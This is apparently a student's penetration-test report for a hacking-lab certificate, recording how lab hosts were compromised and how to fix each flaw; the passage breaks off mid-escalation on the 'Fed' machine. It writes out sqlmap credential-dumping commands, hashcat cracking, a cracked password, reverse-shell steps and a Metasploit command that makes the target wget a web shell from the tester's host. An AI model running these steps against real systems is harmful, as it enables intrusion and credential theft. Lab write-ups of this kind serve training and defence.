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1 Virtual Hacking Labs CoC Report

1.1 Introduction

Abdullah Ansari was tasked to conduct an assessment on the 10.12.x.x network. This report contains
all e�orts that were conducted in order to attain the Virtual Hacking Labs Advanced+ Certificate.

1.2 Objective

The objective of this assessment was to perform an internal penetration test against the Virtual Hacking
Labs network and attain root privileges on at least 10 lab machines categorized in the Advanced+ level.
This challenge was meant to simulate an actual penetration test and emulate a real life adversary on
the network.

1.3 Requirements

In order to earn the VHL Certificate:

• The tester must achieve root access on at least 10 Advanced+ machines
• Provide full documentation with proof of compromise and methodology followed to achieve

access
• Screenshots of exploitation and privilege escalation commands used
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2 High-Level Summary

Abdullah Ansari was tasked with performing an internal penetration test on the VHL lab network to
earn the Advanced+ Certificate of Completion. An internal penetration test is a dedicated attack against
internally connected systems. The focus of this test was to perform attacks, similar to those of a
malicious hacker and attempt to infiltrate VHL’s internal lab systems. The overall objective was to
evaluate the network, identify systems, and exploit flaws while reporting the findings back to VHL.

When performing the internal penetration test, there were several alarming vulnerabilities that were
identified on VHL’s network. When performing the attacks, the tester was able to gain access to multiple
machines, primarily due to outdated patches and poor security configurations. During the testing,
administrative level access was gained to multiple systems. All systems were successfully exploited by
the end of the test. Descriptions on how access to each machine was obtained are listed below:

• 10.12.1.27 (Aaron) - Outdated so�ware led to Remote Code Execution
• 10.12.1.30 (Records) - Authentication bypass allowed SQL injection
• 10.12.1.41 (Trails) - SQL injection led to an OS shell
• 10.12.1.53 (vps1723) - Outdated so�ware allowed full RCE
• 10.12.1.68 (Fed) - Outdated so�ware allowed SQL injection
• 10.12.1.88 (Webadmin) - Outdated so�ware led to unauthenticated RCE
• 10.12.1.129 (Sam) - Outdated system service led to a full root shell
• 10.12.1.136 (WinAS01) - Outdated web service allowed arbitrary file upload
• 10.12.1.142 (Teamspeak) - Credential disclosure led to RCE
• 10.12.1.156 (PM) - Arbitrary file upload allowed RCE
• 10.12.1.235 (Trace) - Credential disclosure led to arbitrary file upload

2.1 Recommendations

We recommend patching the vulnerabilities identified during the testing to ensure that an attacker
cannot exploit these systems in the future. One thing to note is that these systems require frequent
patching and once patched, should remain on a regular patch program to protect against additional
vulnerabilities that are discovered in the future.
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3 Methodologies

A widely adopted approach to performing penetration testing that is e�ective in testing how well the
VHL Lab environment is secured against common threats was used throughout the assessment. Below
is a breakdown of how I was able to identify and exploit the variety of systems including all individual
vulnerabilities found.

3.1 Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of systems,
resources, and data that will be targeted. During this particular assessment, the scope was simply to
exploit the lab network, escalate privileges, and retrieve the key.txt file located in the administrator/root
account of each system.

The specific IP addresses and hosts targeted were:

Lab Network

• 10.12.1.27 (Aaron)
• 10.12.1.30 (Records)
• 10.12.1.41 (Trails)
• 10.12.1.53 (vps1723)
• 10.12.1.68 (Fed)
• 10.12.1.88 (Webadmin)
• 10.12.1.129 (Sam)
• 10.12.1.136 (WinAS01)
• 10.12.1.142 (Teamspeak)
• 10.12.1.156 (PM)
• 10.12.1.235 (Trace)

3
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3.2 Penetration

The penetration testing portions of the assessment focus heavily on gaining access to a variety of
systems. During this penetration test, 11 out of the 11 target systems were completely compromised
by the tester.

3.2.1 System IP: 10.12.1.27 (Aaron)

3.2.1.1 Service Enumeration

The service enumeration portion of a penetration test focuses on gathering information about what
services are alive on a system. This is valuable for an attacker as it provides detailed information on
potential attack vectors into a system. Understanding what applications are running on the system
gives an attacker the critical information before performing the actual penetration test. In some cases,
all ports may not be listed.

Server IP Address Ports Open

10.12.1.27 TCP: 135, 139, 445, 3389, 8080

UDP: N/A

NMAP Scan Results:

The scan on Aaron reported that the machine was running Windows and had several open ports
listening for connections to the system. However, most of the ports were simply RPC which means the
tester could focus on ports 445, 8080, 3389, and the services running on them to discover exploitable
vulnerabilities.

PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 10 Enterprise Evaluation 14393
3389/tcp open ms-wbt-server
8080/tcp open http HttpFileServer httpd 2.3
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

abdullahansari1618@gmail.com, Student ID: VHLC15298 4
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49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

Aggressive OS guesses: Microsoft Windows 10 1511 - 1607 (96%)

Vulnerability Explanation:

A�er the careful enumeration of ports 3389 and 445 returned nothing interesting, the tester decided to
analyze web server running on port 8080 of the machine. Simply visiting http://10.12.2.27:8080/ on a
web browser led to the discovery of a well-known file server so�ware called HttpFileServer.

Figure 3.1: HttpFileServer

abdullahansari1618@gmail.com, Student ID: VHLC15298 5
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A�er carefully inspecting the page, the server unnecessarily disclosed exactly what version of the
so�ware it was running at the moment. This is bad practice because a simple google search can expose
serval public exploit scripts to attack that particular version of the so�ware.

Figure 3.2: HFS Version Disclosure

A�er searching online resources for attack vectors, the tester found that version 2.3 of HttpFileServer
was vulnerable and came across a remote command execution script for this so�ware on a pub-
lic exploit database called Exploit-DB. The script can be downloaded from: https://www.exploit-
db.com/exploits/49584.

This script exploits the file server’s built-in functionality of the findMacroMarker function in parser-
Lib.pas which allows remote attackers to execute arbitrary programs via a %00 sequence in a search
action. The impact this vulnerability has on an organization is full compromise of all systems that are
running this version of HFS and are available to anyone on the network.

Before executing the script on the target, the tester changed four local variables to match the specific
attack scenario. The four variables were the tester’s local IP address, the local listening port, the
target’s IP address and the port where the vulnerable so�ware was listening for connections. These
modification are shown below.

abdullahansari1618@gmail.com, Student ID: VHLC15298 6



Virtual Hacking Labs Report 8-1-2021

Figure 3.3: Exploit Modification

Once the new script was saved with edits and execution permissions were enabled, the tester ran the
script against the target machine. The output generated is displayed:

abdullahansari1618@gmail.com, Student ID: VHLC15298 7
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Figure 3.4: Exploit Execution

A�er a couple of seconds, the PowerShell payload that the automated script generated and delivered
was executed by the target and as shown below, a user level shell was returned to the local listener.

Figure 3.5: Shell Reception

abdullahansari1618@gmail.com, Student ID: VHLC15298 8
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Vulnerability Fix:

To mitigate this vulnerability, HttpFileServer should be immediately updated to version 2.3c and
periodic patches should also be applied as new vulnerabilities are discovered. If this is not possible for
some reason, port 8080 should be restricted to the public and should only allow incoming connections
form trusted parties which it is designed to serve.

Severity:

This vulnerability was given a CVSS base score of 7.5, a temporal score of 6.2, and an environmental
score of 4.6. Based on calculations by the National Vulnerability Database, this particular vulnerability
would be classed as high.

3.2.1.2 Privilege Escalation

Since the shell received from the system only gave the tester user level access, finding a way to escalate
privileges became necessary.

Vulnerability Exploited:

A common method to to escalate privileges on Windows machines is the exploitation of unquoted
service paths. They can be found with the get-service command as shown:

Figure 3.6: Finding UQS

A�er searching for any unusual services that are running on the system, the tester found an odd one
named WiseBootAssistant. This service clearly was not native to the Windows environment.
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Figure 3.7: Finding UQS2

To find out more about this service, the tester queried it using the command sc qc WiseBootAs-
sistant. This command asks the service to provide its current state and any executables that are
called when it is started. The output of this command is shown:

Figure 3.8: Unquoted Service Path

If the highlighted path is analyzed, an executable named BootTime.exe is being called. Alarmingly,
there are no quotation marks encapsulating the path. This means that the Windows system will look
for and run all executables it finds at the spaces. In e�ect, windows will try to execute Wise.exe and
Care.exe because there are spaces between them.

The critical aspect of this vulnerability is that the Windows system will attempt to execute the non-
existent Wise.exe and Care.exe with system privileges. In order to exploit this, the tester will generate a
reverse shell executable, name is Wise.exe, and place it in the writable Wise program directory. When
the tester restarts the machine, Wise Care 365 will attempt to start it’s WiseBootAssistant service
which in turn will execute Wise.exe (our reverse shell) with elevated permissions before it reaches
BootTime.exe.

These steps are demonstrated below. First, the tester generated a malicious executable with the
MSFVenom utility which will return a new shell:

abdullahansari1618@gmail.com, Student ID: VHLC15298 10
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Figure 3.9: Payload Generation

The tester then placed the executable in the Wise program directory where the vulnerable service will
mistakenly execute it with system privileges. Finally, the tester started a new listener on the attacking
machine. Now that all the pieces were in place, the target machine was restarted with the PowerShell
command restart-computer.

Figure 3.10: Payload Placement

A�er the machine booted up, the tester received a new shell and when the permissions permissions
were queried, the tester found that he was now the highest authoritative user on the Windows machine:
nt authority/system.

abdullahansari1618@gmail.com, Student ID: VHLC15298 11
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Figure 3.11: Payload Execution

Vulnerability Explanation:

Unquoted Service Paths occur when a service is created whose executable path contains spaces and
isn’t enclosed within quotes. This leads to a vulnerability which allows a user to gain SYSTEM privileges
if the vulnerable service is running with SYSTEM privilege level which most o�en, it is.

Vulnerability Fix:

To mitigate unquoted service paths, the vulnerable service should be uninstalled or updated if the
developer has patched the vulnerability. If that is not possible, the quotation marks should be manually
added from within the Windows registry.

Severity:

The severity of this vulnerability is high due to the fact that it compromises the integrity of the entire
system and allows a malicious user to gain access to confidential files in the administrators desktop.

Proof Screenshot Here:
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Figure 3.12: Key Grab

Proof.txt Contents:

ibvsojxhcqkvdwvvezvi

3.2.2 System IP: 10.12.1.30 (Records)

3.2.2.1 Service Enumeration

Server IP Address Ports Open

10.12.2.30 TCP: 21, 22, 80

UDP: N/A

Nmap Scan Results:

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache httpd 2.4.41
| http-enum:
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Virtual Hacking Labs Report 8-1-2021

| /admin.php: Possible admin folder
|_

Aggressive OS guesses: Linux 2.6.32 or 3.10 (96%)

Vulnerability Explanation:

The vulnerability that was exploited to gain a foothold on this machine was a combination of four
distinct vectors, which, when chained together, gave shell access to the tester.

The first vector was an information disclosure of the version number that was discovered simply by
running an nmap scan with the http-enum script on the target machine. The output of the scan is
shown above, and it reveals an administrative webpage that was found on the webserver running on
port 80. The contents of the page are shown below:

Figure 3.13: OpenEMR Version Disclosure

A�er googling the version number and researching any possible weaknesses of this particular so�-
ware edition, the second vector, an authentication bypass was found on Exploit-DB. The authentica-
tion bypass vulnerability was assigned as CVE-2018-15152 and can be found at https://www.exploit-
db.com/exploits/50017.
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Figure 3.14: OpenEMR Authentication Bypass

A�er reading through the details, it seems that once an unauthenticated user visits the registration
page, the web application allows the user access to some pages that should only be accessible to
authenticated users. The highlighted page, add_edit_event_user.php, is one that will prove
pivotal later on.

Visiting the pages listed in the Exploit-DB post revealed nothing interesting so the tester continued
his search for more vulnerabilities. A�er some more research, he came across an o�icial vulnerability
report that was done on OpenEMR by the vendor of the so�ware itself. This report can be found at
https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf or through a simple google
search as shown below:

Figure 3.15: OpenEMR Vulnerability Report

abdullahansari1618@gmail.com, Student ID: VHLC15298 15



Virtual Hacking Labs Report 8-1-2021

Skimming through this report revealed the third vector, which is that one of the sensitive
pages that was accessible to an unauthenticated user simply a�er visiting the registration page
(add_edit_user_event.php) was actually vulnerable to SQL injection. The report not only
described this vulnerability in detail, but also gave a proof-of-concept payload that could be tested
manually.

Figure 3.16: OpenEMR SQLi Explanation

Figure 3.17: OpenEMR SQLi POC

A�er this discovery, the tester had the necessary information to cause serious information leakage
from the internal database. To exploit this, the tester first visited the registration page to activate the
authentication bypass, then sent the malformed SQL injection request (that was provided in the report)
to the vulnerable page. His results are shown in the following screenshots:

abdullahansari1618@gmail.com, Student ID: VHLC15298 16
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Figure 3.18: OpenEMR Authentication Bypass POC
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Figure 3.19: OpenEMR SQLi POC

It is clear by taking a close look at the SQL error in the second screenshot that the injection was
successful. The SQL server returned the exact version of the operating system it was running on in the
web request that was sent back.

Now, the tester’s goal was to attack the server and look for any sensitive information that might
be stored insecurely. The tool used to accomplish this in the most e�icient manner is called
SQLMap. The tester ran SQLMap on the vulnerable page and parameter with the command: sqlmap
-u http://10.12.1.30/portal/add_edit_event_user.php?eid=1. This instructed
SQLMap to scan the given link and conduct several di�erent tests to learn what kind of injection works
with this particular database. The output it produced is shown below:

Figure 3.20: SQLMap SQLi Discovery

The scanner had figured out that OpenEMR was indeed vulnerable and that it could now be
manipulated into disclosing possible usernames and passwords. Before any useful data could
be extracted, the tester had to find which databases, tables, and columns existed. He began
by extracting the current list of databases on the server. This is done by slightly modifying the
original SQLMap command to include the -dbs flag. The final command was sqlmap -u
http://10.12.1.30/portal/add_edit_event_user.php?eid=1 -dbs and returned
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the following output:

Figure 3.21: SQLMap SQLi Database Listing

The tester noticed above that a database existed for the openemr so�ware. This became his target
since it is likely to contain authentication information for all users. Once the tester decided to attack
the openemr database, he had to learn what tables existed within it. This is similarly accomplished
by adding the -D openemr --tables flag to the original command. The final command was
sqlmap -u http://10.12.1.30/portal/add_edit_event_user.php?eid=1 -D
openemr --tables and it’s shortened output is shown below:

Figure 3.22: SQLMap SQLi Table Listing

abdullahansari1618@gmail.com, Student ID: VHLC15298 19



Virtual Hacking Labs Report 8-1-2021

Figure 3.23: SQLMap SQLi Table Listing

Immediately, an interesting table called users_secure caught the tester’s attention. To further enu-
merate, he needed dump all the contents of this table to see if anything sensitive would leak. This was
done by slightly editing and appending another flag to the previous command which resulted in the final
command coming out tosqlmap -u http://10.12.1.30/portal/add_edit_event_user.php?eid=1
-D openemr --T users_secure --dump. The output is shown below:

Figure 3.24: SQLMap SQLi Column Listing

As the tester suspected, the database leaked the unsalted hash and username of an administrative user
called emrvpsadmin. A�er looking up the hash type, the tester found that it was a bcrypt hash and
was assigned the mode 3200 on the Hashcat password cracking program. What the tester had to do
now was run this hash through the Hashcat program using the popular rockyou.txt password dictionary
to see if he could crack it and get cleartext credentials. He used the command hashcat.exe -a
0 -m 3200 .\hashes\emr.hash .\wordlists\Passwords\rockyou.txt --user
--force, and it’s output is shown below:

abdullahansari1618@gmail.com, Student ID: VHLC15298 20
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Figure 3.25: Cracked Password

A�er a couple of minutes, the tester found that Hashcat had successfully cracked the hash and had
converted the password into cleartext (emrvpsadmin:147258369). With these credentials, he
logged in to the OpenEMR administrative panel and gained access to all the backend utilities and
interfaces.

Figure 3.26: OpenEMR Login

Now the tester approached the fourth and final vector, remote code execution. During his initial
research, the tester found that this particular version of OpenEMR was vulnerable to a Remote Code
Execution vulnerability, however, the caveat was that the attacker needed to have valid credentials
in order for the exploit to work. Fortunately, now that the tester gained valid credentials, he could
get the remote target to execute malicious code which would return a reverse shell. The RCE exploit
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is available on Exploit-DB at https://www.exploit-db.com/exploits/45161 and it’s execution is shown
below:

Figure 3.27: OpenEMR Authenticated RCE

The exploit script took some arguments including the target url, login user, login password, and
malicious code to be executed on the target. Once the tester opened a listener on his local machine
and executed the script, he received a reverse shell and was able to control the machine remotely.
Confirmation of this is shown below:

Figure 3.28: OpenEMR Authenticated RCE

Vulnerability Fix:

There were several vulnerabilities that were found in this installation of OpenEMR and the simple fix to
mitigate them would be to update OpenEMR to the latest version available. Also, the so�ware should
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be configured to not allow access on administrative panels to anyone on the network. Instead, only
trusted support sta� should be allowed to reach those pages.

Severity:

Based on calculation guidelines from the National Vulnerability Database, the version disclosure would
be classed as low, the authentication bypass would be classed as medium, the SQL injection would be
classed as high, and the authenticated remote code execution would also be classed as high. All of
these together allowed the tester to go from an unauthenticated user on a web application to a user
on the system with shell access.

3.2.2.2 Privilege Escalation

Since the shell gained from the OpenEMR RCE exploit was with the privileges of the low-level user
www-data, the tester needed to escalate in order to access all confidential information stored in the
root directories of the system. But first, since he compromised the emrvpsadmin credentials during the
initial foothold, the tester attempted to login to a local user account which had an identical username
and succeeded as shown here:

Figure 3.29: Lateral Escalation

Vulnerability Exploited:

Once the tester became the emrvpsadmin user, he ran the Linux Exploit Suggester script on the
target machine. The privilege escalation script can be found at https://github.com/mzet-/linux-exploit-
suggester and it’s output is shown below:
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Figure 3.30: LES Output

The LES script determined that the Sudo version on this system was vulnerable to the Sudo
Baron Samedit exploit. So the tester downloaded it through the link provided by the script
(https://codeload.github.com/blasty/CVE-2021-3156/zip/main) and executed it as shown:

Figure 3.31: Vertical Escalation

Vulnerability Explanation:

The Sudo Baron Samedit exploit is assigned CVE-2021-3156 and is a heap-based bu�er overflow in cer-
tain versions of the Sudo program. Successful exploitation of this vulnerability allows any unprivileged
user to gain root-level privileges on a vulnerable host.

Vulnerability Fix:

To fix this vulnerability, it is recommended to apply patches for the vulnerable versions of the Sudo
program and to keep it, and the system up-to-date with the latest releases by distributors.

Severity:
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The severity of the Sudo Baron Samedit exploit is classed as high because it compromises the integrity
of any target systems which it is exploited on.

Proof Screenshot Here:

Figure 3.32: Key Grab

Proof.txt Contents:

9416snu86rm�nkx290j

3.2.3 System IP: 10.12.1.41 (Trails)

3.2.3.1 Service Enumeration

Server IP Address Ports Open

10.12.1.41 TCP: 21, 22, 80

UDP: N/A

Nmap Scan Results:

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
80/tcp open http Apache httpd 2.4.18

Running: Linux 3.X|4.X

Vulnerability Explanation:
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A�er investigating and establishing port 21 and 22 as dead ends, the tester analyzed port 80 and found
a website that recommended the best hiking trails to users. Scanning it with WPscan, nmap, Nikto,
and Droopescan revealed that no CMS or well known web application was running. This lead the tester
to believe that the weakness in this machine had to be in the search parameter of the website. This is
because the search bar is the only way the website takes input from the user and could be abused.

The tester decided to take a sample web request that was sending data with the search parameter and
run it through SQLMap, an automated tool used to discover instances of SQL injection. Here is the
request that he captured with Burp Suite’s web proxy:

Figure 3.33: Vulnerable Web Request

A�er capturing this request, the tester copied and pasted it into a file in his working folder and named
it sqli.request. He then ran SQLMap’s scanner on the file as shown below:
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Figure 3.34: SQLMap Scan

The scanner accepted the web request and fuzzed it by sending di�erent types of SQL queries to
learn whether or not the search parameter was vulnerable. A�er some time, it returned results which
indicated that it had successfully found an injection vector:

Figure 3.35: SQLi Discovery

Once SQLMap validated the tester’s suspicions, he immediately attempted the tool’sos-shell feature
which gives an attacker direct shell access to a target simply by exploiting a SQL injection weakness.
The command as well as it’s output is shown below:
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Figure 3.36: SQLMap OS-Shell

Figure 3.37: Key Grab

The results indicated that SQLMap succeeded in opening a shell session with the target. However, this
was not a full and proper shell, it was simply an interface that SQLMap uses to pass shell commands to
the system through the MySQL interpreter. To convert this limited interface to a fully functional shell,
the tester could simply upload a php reverse shell using the same payload that SQLMap uploaded to
start the shell session.

Looking closely at the output, the tester saw that SQLMap uploaded a file called tmpbsva.php to
the web root of the machine. When he visited that file, he found that there is functionality to upload
his own files to the web root as well. The reverse shell upload is shown here:
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Figure 3.38: SQLMap File Upload

Figure 3.39: SQLMap Upload Success

Once the tester’s reverse shell had been uploaded to the web root, all he had to do was open a listener
and tell the webserver to execute the php payload. This would return the tester a full reverse shell and
grant him user-level access to the system. The opening of a listener, execution of the php shell, and
reception of said shell is shown below:

Figure 3.40: Opening Listener
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Figure 3.41: Executing Payload

Figure 3.42: Receiving Shell

As demonstrated, the tester received a full reverse shell and ran the identification commands which
indicated access to the system with the permissions of the www-data user’s privileges.

Vulnerability Fix:

The way to mitigate SQL injection would be to properly sanitize all input that is given by users. Also,
implementing web application firewalls can reduce risk of successful exploitation of SQL injection
vulnerabilities.

Severity:

The severity of the SQL injection is considered high due to the fact that it allowed an attacker the ability
to gain full shell access on the machine.
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3.2.3.2 Privilege Escalation

To upgrade the shell from www-data to root, the tester had to exploit a vulnerable application that
was installed on this machine with the SUID bit enabled.

Vulnerability Exploited:

To find this application the tester ran the following search command:

Figure 3.43: SUID Binary Discovery

This command looks for all the binaries on the system which www-data is allowed to execute with the
permissions of the root user. Immediately, s-nail-privep caught the tester’s attention since it is
not a default binary on Linux machines.

A�er researching, the tester found that it is vulnerable to a race condition privilege escalation
technique with public exploit code available on Exploit-DB. It can be found at https://www.exploit-
db.com/exploits/47172 and is assigned as CVE-2017-5899. Unfortunately though, the exploit script was
designed to compile the real exploit which was written in c code, but the target machine didn’t have
any compilers installed. This made it impossible for the tester to simply move the script to the target,
execute it, and gain root.

The tester had to improvise with this exploit. A�er analyzing the exploit script’s code, he learned that
the script was simply generating some files, compiling them, and placing them in certain locations. The
tester decided that it was easier for him to perform the individual steps manually on his local machine
and replicate them on the target a�er the fact, rather then to attempting to install a compiler on the
target machine. The idea was to run the script on the tester’s machine which had a compiler installed,
manually transfer the files, place them in the correct locations, then manually execute the exploit.

However, in order to do that, two modifications had to be made to the exploit code. The first one was
that since the script was designed to be run on the target, it wouldn’t even start generating the real
exploits until it confirmed that the vulnerable program was installed. Since the tester was running the
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script on his own machine which didn’t have the vulnerable program installed, he needed to remove
the section of the script that checked for that. This is done here:

Figure 3.44: Exploit Modification #1

A�er the area highlighted in red was completely removed, the tester ensured that the script would run
fine even if the vulnerable program was not installed. The second modification that was necessary was
the removal of a clean-up portion of the script which automatically deleted all files created once the
exploit was completed. This is good practice for operational security, but since the tester needed to
move these files, he had to prevent them from being deleted. The removal of this section is shown
below:
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Figure 3.45: Exploit Modification #2

Once, the final problematic section of the script was deleted, it was time to run the script. The tester
executed it and found the files it generated in the directory that was specified in the script. They are
shown here:

Figure 3.46: Generated Files
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Once the tester confirmed that the necessary files were present, he copied them to his current directory
and started an http server to transfer them to the target machine.

Figure 3.47: Exploit Transfer

A�er all the exploit files were on the target, the tester placed them in the exact same directories that
they were placed in on his local machine. The correct directories were also signaled in the source code
of the exploit script that generated the files. Their strategic placement is shown here:

Figure 3.48: Exploit Placement

Now that everything was in place, the tester executed the main exploit and a�er a few seconds, gained
a root shell. The shortened output of the exploit and the root shell returned is shown here:
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Figure 3.49: Exploit Execution

Figure 3.50: Root Shell

Vulnerability Explanation:

The core vulnerability that was exploited was a race condition in a vulnerable binary that was installed
on the target system. According to http://iiisci.org, race conditions are a privilege escalation vulner-
ability that manipulates the time between imposing a security control and using services in a UNIX
system. This vulnerability is a result of interferences caused by multiple sequential threads running in
the system and sharing the same resources.

Vulnerability Fix:

Even though the vulnerability was in the application itself, it was a lack of diligence from administrators
which allowed the tester to exploit it. To prevent future weaknesses, there should be periodic checks
to make sure that all programs installed are fully up-to-date. Also, special care should be taken with
the binaries that have the SUID bit enabled.

Severity:
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This exploit was given a CVSS base score of 7.0 in the National Vulnerability Database and is classed as
high. This is because the tester, as an unprivileged user, was able to gain access to the root account
and all of the files and rights that come with it. In essence, the entire integrity of the system was
compromised.

Proof Screenshot Here:

Figure 3.51: Key Grab

Proof.txt Contents:

2y1n8eogzx30wj706qa1

3.2.4 System IP: 10.12.1.53 (vps1723, Manual Exploitation)

3.2.4.1 Service Enumeration

Server IP Address Ports Open

10.12.1.53 TCP: 21, 22, 80

UDP: N/A

Nmap Scan Results:
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PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 6.9p1 Ubuntu
80/tcp open http Apache httpd 2.4.12

Running: Linux 3.X|4.X

Vulnerability Explanation:

A�er looking at the nmap scan, one service immediately caught the tester’s eye: FTP. Specifically the
pro�pd so�ware’s version 1.3.5 is quite infamous for being incredibly insecure and is even assigned
a vulnerability identifier of CVE-2015-3306. It allows any unauthenticated user to write, copy, and
manipulate files on the local file system. A�er confirming that he could connect to the �p server, the
tester launched Metasploit and searched for any modules that might be able to exploit the flaws in this
version of pro�pd. The results are shown below:

Figure 3.52: Pro�pd MSF Modules
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The tester selected the highlighted module and configured all the necessary options such
as the target, web root, and payload. This was done with the following sequence of com-
mands set rhosts 10.12.1.53, set sitepath /var/www/html, and set cmd wget
http://172.16.2.3/webshell.php -O /var/www/html/webshell.php

The first two commands simply defined the target, and the third command was a payload which
instructed the target to download a web shell being hosted on the tester’s machine and store it in the
web root (which can be accessed through port 80). Before executing the module, the tester prepared
the web shell and started a mini http server for the target to use in order to retrieve the malicious
shell.

Figure 3.53: Payload Preparation

Once the payload was ready, the tester executed the Metasploit module and all went as expected. The
results indicated that the web shell was uploaded and the GET request logged by the tester’s web
server from the target confirmed success.

Figure 3.54:MSF Module Execution

The tester visited the target webserver and executed the uploaded web shell. When he passed some
commands like id, whoami, and ip a, he received the following response:
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Figure 3.55:Web shell Execution

Now that the tester could access the system in a limited manner through a web browser, he searched
for ways to gain a stable shell session with the target. The discovery which granted the tester full access
to the machine came when he explored the home folder of the vps1723 user.

Figure 3.56: vps1723 Home Directory

Seeing a file named john_password.txt was quite interesting and when the tester printed the content
of the file, he found plain text credentials which were successfully used to authenticate through ssh.
This allowed the tester to gain a fully interactive shell session with the target.
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Figure 3.57: John_Password.txt Contents

Figure 3.58: SSH Login
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Figure 3.59: Identity Check

The tester was also able to exploit this vulnerability in pro�pd manually with a set of commands that
were retrieved straight from reading the Metasploit module executed earlier. They are shown below:

Figure 3.60: Pro�pd Manual Exploitation

In the commands above, the tester manually manipulated the �p server into placing a php web shell
into the webroot which was accessible thorough port 80. Once the commands were completed, the
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tester visited the web shell, rediscovered the plaintext credentials in the home directory of vps1723,
and once again logged in through ssh.

Figure 3.61: Credential Exposure

Figure 3.62: SSH Shell

Vulnerability Fix:

In order to mitigate this vulnerability, pro�pd should be updated to the latest version and maintained
with the vendors security patches and hot fixes.

Severity:
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The severity of this vulnerability is high because it allows any unauthenticated user to manipulate the
internal file system and gain shell access to the machine.

3.2.4.2 Privilege Escalation

The vector that was used to escalate privileges on this machine was a kernel exploit that was suggested
by the Linux Exploit Suggester script which can be found at https://github.com/mzet-/linux-exploit-
suggester.

Figure 3.63: Linux Exploit Suggester Output

Vulnerbiltity Exploited:

The LES script indicated that the chance of achieving root privileges by exploiting CVE-2015-8660 was
very high. So the tester downloaded the exploit code from https://www.exploit-db.com/exploits/39166,
transferred it to the target, compiled it, and executed it.
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Figure 3.64: Kernel Exploit Compilation

Figure 3.65: Kernel Exploit Execution

As shown, a�er executing the exploit, I was given full root access to the system which allowed me to
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read all the sentive data including the contents of key.txt

Vulnerability Explained:

According to VK9 Security, the overlayfs implementation in the Linux kernel before 3.19.0-21.21 does
not properly check permissions for file creation in the upper filesystem directory, which allows local
users to obtain root access by leveraging a configuration in which overlayfs is permitted in an arbitrary
mount namespace.

Vulnerability Fix:

To mitigate this vector of escalation, the linux kernel should be upgraded to the latest version and all
updates and security patches should be applied as soon as they are released by vendors.

Severity:

The severity of this vulnerability is high due to the fact this it compromises the integrity of the entire
system.

Proof Screenshot Here:

Figure 3.66: Key Grab

Proof.txt Contents:

w76jooebu9p4yshd9q71

3.2.5 System IP: 10.12.1.68 (Fed)

3.2.5.1 Service Enumeration
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Server IP Address Ports Open

10.12.1.68 TCP: 22, 80, 443

UDP: N/A

Nmap Scan Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.8 (protocol 2.0)
80/tcp open http Apache httpd 2.4.12
443/tcp open ssl/http Apache httpd 2.4.12

Running: Linux 4.X

Vulnerability Explanation:

This machine’s scan indicated that the only vector of attack was web-based since the only ports open
other than SSH were port 80 and 443. One of the first checks that the tester conducted on the web
interface of this machine was the existence of a robots.txt file. This file o�en contains subdirectories
that the owner of the web server would like to keep hidden from search engines. Naturally, information
in this file is interesting because of the intention of it’s owners to keep it hidden. It’s content is displayed
below:

Figure 3.67: OpenDocMan

When the tester visited this hidden directory, he was presented with the login page of a popular web
application called OpenDocMan. Unfortunately, just visiting as an unauthenticated user disclosed the
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exact version number of the so�ware which was too much information for general users and pivotal
for attackers. The version disclosure is shown here:

Figure 3.68: Version Disclosure

A�er researching for weaknesses found in version 1.2.7 of OpenDocMan, the tester came across a
post in Exploit-DB which can be found at https://www.exploit-db.com/exploits/32075. The post was
not an exploit, but contained a written advisory which indicated that OpenDocMan had insu�icient
validation of the “add_value” HTTP GET parameter in “/ajax_udf.php” script. It also said that a remote
unauthenticated attacker can execute arbitrary SQL commands in the application’s database. This
discovery was assigned CVE-2014-1945.

To investigate further, the tester launched Burp Suite and sent a custom SQL query to the vulnerable
script instructing the database to send over all the databases, tables, and columns present on the
server. Below are the query and response from the server:
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Figure 3.69: Enumeration Query

Figure 3.70: Enumeration Response
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The response was quite large due to the amount of data requested, however, a certain database
immediately caught the tester’s attention. The second screenshot shows an indexed listing of all the
information in the server organized as database:table:column. Seeing the SSH database was almost
certainly indicative of stored credentials for the SSH service.

To extract the sensitive data, the tester constructed a new query to retrieve the ID, username, and
password from the ssh_users table in the ssh database. The query and it’s response are shown:

Figure 3.71: Cred Extraction Query
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Figure 3.72: Plaintext Credentials

As suspected, the data returned was the plaintext credentials of the user Rick on the machine Fed. All
that was le� to do from this point was to login. SSH login and shell access are shown here:

Figure 3.73: SSH Login

Vulnerability Fix:

The vulnerability used to gain access was two-fold in nature. Firstly, OpenDocMan should be updated
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to the latest version and maintained with all current security patches. Secondly, plain text credentials
should never be stored anywhere on the machine. Steps should be taken to remove them or at least
store them in hashed form to bolster security.

Severity:

This vulnerability would be classed as high because it gives unfettered database access to an unau-
thenticated attacker. In this case, it led to full compromise of the system.

3.2.5.2 Privilege Escalation

The tester’s privileges only allow access to the machine in the context of the Rick user. To escalate to the
root user, misconfigured Sudo permissions will be abused to gain full permissions on the machine.

Vulnerability Exploited:

When landing on a machine, the first command to run if credentials are available is sudo -l. This
command allows the tester to check what programs or commands are allowed to run as the root user
without the root password. The output of this command is shown below:

Figure 3.74: Sudo Programs

Based on the output of this command, the tester learned that the yum package manager is configured
to run as root without a password. Now, this binary in particular can be abused to get root access to the
machine. Detailed instructions can be found at https://medium.com/@klockw3rk/privilege-escalation-
how-to-build-rpm-payloads-in-kali-linux-3a61ef61e8b2.

The first step to achieve root was creating a bash script which returned a reverse shell to the tester’s
local machine. Of course, the privileges of that shell depends on the user that executes it. The contents
of the bash script are shown here:
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Figure 3.75: Shell Script

Once the script had been saved, it needed to be compressed as an rpm package, the type yum (which
can be run as root) is capable of installing. This was done as shown:

